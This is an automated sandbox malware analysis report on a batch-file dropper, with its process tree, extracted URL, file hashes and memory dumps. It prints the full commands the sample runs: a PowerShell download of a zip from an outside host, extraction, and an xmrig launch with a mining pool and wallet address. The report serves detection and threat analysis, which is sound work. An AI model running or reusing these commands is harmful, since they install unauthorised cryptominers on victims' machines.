3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
1s
max time network
37s
platform
windows10-2004_x64
resource
win10v2004-20231023-en
resource tags

arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
submitted
17-11-2023 01:28

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

tesy - Copy (11).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3724	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3724	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 416 wrote to memory of 3724	416	cmd.exe	85
PID 416 wrote to memory of 3724	416	cmd.exe	85

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (11).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:416
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  PID:1456
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K start.cmd
  2⤵
  PID:4956
- - C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
    xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
    3⤵
    PID:4184

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
08f9f3eb63ff567d1ee2a25e9bbf18f0

SHA1
6bf06056d1bb14c183490caf950e29ac9d73643a

SHA256
82147660dc8d3259f87906470e055ae572c1681201f74989b08789298511e5f0

SHA512
425a4a8babbc11664d9bac3232b42c45ce8430b3f0b2ae3d9c8e12ad665cd4b4cbae98280084ee77cf463b852309d02ca43e5742a46c842c6b00431fc047d512

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vzl4hieg.usl.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\test1.zip

Filesize
3.2MB

MD5
95452958f42b1b93f0c887f59d84d19f

SHA1
c861dc457d57471ab42879f49cc8fe171e7c9b1c

SHA256
dc24f4d37898468e34bee09afdcb7e1fc681ecbac667bc8eb3c62d035c0fd255

SHA512
96207cb7d6cb2977acfbc5e9f507fe0b1b43a5041e5ea50c63f4f7db620fa14512066781c306ba123b0e6aafbb048c4b042f5fdb21e97a48a536acd783b2e072

Download Submit
C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

Filesize
278B

MD5
080123b6eac4a332d3f2b11f6eb3aa54

SHA1
8f3d40eae881e3b871cff2aa85521d727ada2a64

SHA256
cd7f2c4251361d8e83bc1857767c6eb20d305605ca78418aca3af439ff7d41e2

SHA512
0c5033e8a72a924d360bec1b1304889b23dea6a514cd18b055824c19d440a2875472ba70202efb4b7b636398ebd114b365ce88ca18b88a129588639c26d62d8c

Download Submit
C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

Filesize
2.7MB

MD5
a7a20517d5fdeeea9e71966f44b21f56

SHA1
01d376ed30361564e8a21ca45dfd045fa63f6925

SHA256
2f9a615bcf4c69c1f6afcbba865c154cdd9742aeb59ad9707a1b7b897a453781

SHA512
14c83159a4fe7a129c44c25935cf48adf6bff2396ea10db8ea3ce57f1a5b29df68b0a26c00296b40cfc7fcf409208f4ed3d15d4c4482f60faf03cd3f248f1f8b

Download Submit
memory/1456-33-0x0000018253E40000-0x0000018253E4A000-memory.dmp

Filesize
40KB

Download
memory/1456-18-0x00007FFC706A0000-0x00007FFC71161000-memory.dmp

Filesize
10.8MB

Download
memory/1456-28-0x000001826C020000-0x000001826C030000-memory.dmp

Filesize
64KB

Download
memory/1456-29-0x000001826C020000-0x000001826C030000-memory.dmp

Filesize
64KB

Download
memory/1456-31-0x000001826C020000-0x000001826C030000-memory.dmp

Filesize
64KB

Download
memory/1456-32-0x000001826BFA0000-0x000001826BFB2000-memory.dmp

Filesize
72KB

Download
memory/1456-42-0x00007FFC706A0000-0x00007FFC71161000-memory.dmp

Filesize
10.8MB

Download
memory/3724-16-0x00007FFC706A0000-0x00007FFC71161000-memory.dmp

Filesize
10.8MB

Download
memory/3724-0-0x000001AB9FAB0000-0x000001AB9FAD2000-memory.dmp

Filesize
136KB

Download
memory/3724-12-0x000001AB9F9C0000-0x000001AB9F9D0000-memory.dmp

Filesize
64KB

Download
memory/3724-11-0x000001AB9F9C0000-0x000001AB9F9D0000-memory.dmp

Filesize
64KB

Download
memory/3724-10-0x00007FFC706A0000-0x00007FFC71161000-memory.dmp

Filesize
10.8MB

Download
memory/4184-46-0x0000020A84C70000-0x0000020A84C90000-memory.dmp

Filesize
128KB

Download